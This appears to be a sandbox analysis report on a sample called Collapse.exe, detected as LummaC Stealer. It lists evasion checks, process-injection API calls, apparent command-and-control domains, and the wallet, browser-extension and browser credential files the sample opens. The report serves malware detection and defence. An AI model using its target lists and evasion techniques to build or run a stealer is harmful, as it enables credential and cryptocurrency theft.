Code function: 6_2_00438C90 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

6_2_00438C90

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3044:120:WilError_03

Source: Collapse.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Collapse.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Collapse.exe, 00000006.00000003.1292597422.00000000036BD000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1292263992.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1318469011.000000000102C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Collapse.exe	ReversingLabs: Detection: 36%
Source: Collapse.exe	Virustotal: Detection: 31%

Source: C:\Users\user\Desktop\Collapse.exe

File read: C:\Users\user\Desktop\Collapse.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Collapse.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_0098E75A push ecx; ret	0_2_0098E76D
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_0098E75A push ecx; ret	3_2_0098E76D
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00446870 push edi; ret	6_2_00446871
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_00433AFE push eax; mov dword ptr [esp], eax	6_2_00433AFF
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043F530 push eax; mov dword ptr [esp], E1CAE11Dh	6_2_0043F535
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 6_2_0043C5D0 push eax; mov dword ptr [esp], 77987799h	6_2_0043C5DE

Source: C:\Users\user\Desktop\Collapse.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Collapse.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Collapse.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe TID: 6384	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe TID: 6256	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009A0CF8 FindFirstFileExW,	0_2_009A0CF8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009A0DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009A0DA9
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009A0CF8 FindFirstFileExW,	3_2_009A0CF8
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009A0DA9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_009A0DA9

Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Collapse.exe, 00000006.00000003.1688591837.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1447418563.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688159830.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689170640.0000000000F70000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688159830.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1290803924.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000002.1689263153.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1374794026.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1688424834.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Collapse.exe, 00000006.00000003.1317786534.00000000036E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\Collapse.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 6_2_0043E0F0 LdrInitializeThunk,

6_2_0043E0F0

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 0_2_009972FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_009972FD

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009B619E mov edi, dword ptr fs:[00000030h]	0_2_009B619E
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_00981690 mov edi, dword ptr fs:[00000030h]	0_2_00981690
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_00981690 mov edi, dword ptr fs:[00000030h]	3_2_00981690

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 0_2_0099C705 GetProcessHeap,

0_2_0099C705

Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_0098E06C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0098E06C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_009972FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009972FD
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_0098E42C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0098E42C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 0_2_0098E420 SetUnhandledExceptionFilter,	0_2_0098E420
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_0098E06C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0098E06C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_009972FD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_009972FD
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_0098E42C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0098E42C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: 3_2_0098E420 SetUnhandledExceptionFilter,	3_2_0098E420

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 0_2_009B619E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_009B619E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Collapse.exe

Memory written: C:\Users\user\Desktop\Collapse.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: Collapse.exe, 00000000.00000002.1245828484.00000000027ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	Process created: C:\Users\user\Desktop\Collapse.exe "C:\Users\user\Desktop\Collapse.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 6_2_00438430 cpuid

6_2_00438430

Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	0_2_009A08CD
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_009A0062
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	0_2_009A02B3
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	0_2_0099BA4C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_009A034E
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	0_2_009A05A1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	0_2_009A06D5
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	0_2_009A0600
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_009A07C7
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	0_2_0099BFF0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	0_2_009A0720
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	3_2_009A08CD
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_009A0062
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	3_2_009A02B3
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	3_2_0099BA4C
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_009A034E
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	3_2_009A05A1
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	3_2_009A06D5
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	3_2_009A0600
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_009A07C7
Source: C:\Users\user\Desktop\Collapse.exe	Code function: EnumSystemLocalesW,	3_2_0099BFF0
Source: C:\Users\user\Desktop\Collapse.exe	Code function: GetLocaleInfoW,	3_2_009A0720

Source: C:\Users\user\Desktop\Collapse.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Collapse.exe

Code function: 0_2_0098EB50 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_0098EB50

Source: C:\Users\user\Desktop\Collapse.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Collapse.exe, 00000006.00000003.1403986170.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1403631246.000000000101C000.00000004.00000020.00020000.00000000.sdmp, Collapse.exe, 00000006.00000003.1404122051.0000000000F84000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Collapse.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Collapse.exe PID: 5924, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Collapse.exe, 00000006.00000003.1369666882.00000000036AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Collapse.exe, 00000006.00000003.1374890812.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Collapse.exe, 00000006.00000003.1375521268.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Collapse.exe, 00000006.00000003.1374890812.0000000000F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Collapse.exe, 00000006.00000003.1374794026.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Collapse.exe, 00000006.00000003.1375045759.0000000000F7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Collapse.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
